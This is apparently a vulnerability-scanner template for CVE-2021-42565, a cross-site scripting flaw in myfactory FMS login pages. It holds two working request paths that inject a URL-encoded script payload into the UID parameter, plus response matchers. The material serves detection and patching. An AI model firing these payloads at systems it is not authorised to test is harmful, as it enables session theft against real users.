id: CVE-2021-42565 info: name: myfactory FMS - Cross-Site Scripting author: madrobot severity: medium description: myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-42565 - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-42565 cwe-id: CWE-79 epss-score: 0.00102 epss-percentile: 0.40517 cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: myfactory product: fms tags: cve2021,cve,myfactory,xss http: - method: GET path: - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a0047304502204ff737b906e30693273760a9746dac915027d4e32682755adbd6ce1011af93e6022100ccc8803dddc2deb811572d7da1f9bdcfc0897000ffef6d8ecb8481abd7c32597:922c64590222798bb761d5b6d8e72950